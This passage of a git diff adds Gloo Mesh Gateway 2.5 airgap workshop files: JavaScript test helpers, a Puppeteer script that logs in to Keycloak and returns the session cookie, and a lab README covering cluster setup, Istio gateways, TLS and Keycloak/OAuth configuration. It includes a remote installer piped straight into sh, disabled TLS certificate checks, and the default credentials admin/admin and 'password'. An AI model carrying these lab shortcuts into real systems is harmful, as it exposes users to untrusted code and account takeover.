cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/chai-http.js b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/keycloak-token.js b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/keycloak.js b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/utils.js b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/README.md b/gloo-mesh/gateway/2-5/airgap/standalone/README.md new file mode 100644 index 0000000000..0d4a6d7d8d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/README.md @@ -0,0 +1,2354 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Gateway (2.5.0)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy the Bookinfo demo app](#lab-4---deploy-the-bookinfo-demo-app-) +* [Lab 5 - Deploy the httpbin demo app](#lab-5---deploy-the-httpbin-demo-app-) +* [Lab 6 - Deploy Gloo Mesh Addons](#lab-6---deploy-gloo-mesh-addons-) +* [Lab 7 - Create the gateways workspace](#lab-7---create-the-gateways-workspace-) +* [Lab 8 - Create the bookinfo workspace](#lab-8---create-the-bookinfo-workspace-) +* [Lab 9 - Expose the productpage through a gateway](#lab-9---expose-the-productpage-through-a-gateway-) +* [Lab 10 - Create the httpbin workspace](#lab-10---create-the-httpbin-workspace-) +* [Lab 11 - Expose an external service](#lab-11---expose-an-external-service-) +* [Lab 12 - Deploy Keycloak](#lab-12---deploy-keycloak-) +* [Lab 13 - Securing the access with OAuth](#lab-13---securing-the-access-with-oauth-) +* [Lab 14 - Use the transformation filter to manipulate headers](#lab-14---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 15 - Use the DLP policy to mask sensitive data](#lab-15---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 16 - Apply rate limiting to the Gateway](#lab-16---apply-rate-limiting-to-the-gateway-) +* [Lab 17 - Use the Web Application Firewall filter](#lab-17---use-the-web-application-firewall-filter-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.55.3 +gcr.io/gloo-mesh/gloo-mesh-agent:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-ui:2.5.0 +gcr.io/gloo-mesh/gloo-otel-collector:2.5.0 +gcr.io/gloo-mesh/rate-limiter:0.11.7 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.5.0 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 \ + -f -< + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + +## Lab 4 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 5 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 6 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +timeout 2m bash -c "until [[ \$(kubectl --context ${MGMT} -n istio-system get deploy istiod-1-19 -o json | jq '.status.availableReplicas') -gt 0 ]]; do + sleep 1 +done" +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 7 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 10 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 12 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 13 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` 